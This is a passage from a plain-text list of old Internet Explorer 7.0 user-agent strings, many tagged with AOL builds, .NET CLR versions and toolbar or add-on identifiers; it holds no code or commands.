2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.29; Windows NT 6.0; WOW64; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.32; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.34; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.36; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.36; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.36; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 5.1; Trident/4.0; GTB5; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 6.0; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.40; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.42; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.43; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.43; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.43; Windows NT 6.0; WOW64; GTB5; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.53; Windows NT 6.0; FunWebProducts; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.80; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.81; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.81; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) (Compatible;  ;  ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.81; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.89; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.93; Windows NT 5.1; Trident/4.0; DigExt; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.6; AOLBuild 4340.128; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.2; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727; Media Center PC 3.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; rev1.5; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; CP/M 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Win32) Link Commander 4.0\nMozilla/4.0 (compatible; MSIE 7.0; Windows 95)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1, .NET CLR 1.1.4322, .NET CLR 2.0.50727, .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;  Trident/4.0; SLCC2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.5.30729; Tablet PC 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.1); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.1); .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 1.1.4322; Seekmo 10.0.341.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.5); Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 1.1.4322; Hotbar 10.0.368.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.314.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; (R1 1.6); Zune 3.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Media Center PC 4.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yplus 5.3.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Media Center PC 4.0; Zango 10.0.314.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; .NET CLR 2.0.50727; Seekmo 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; FDM; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1; yplus 5.6.04b)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Sleipnir/2.7.1\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; PeoplePal 3.0; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; Seekmo 10.0.424.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Compatible; SV1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Seekmo 10.0.406.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Zango 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; InfoPath.1; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322) Paros/3.2.13\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC S; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 1.0.3705; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50110; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 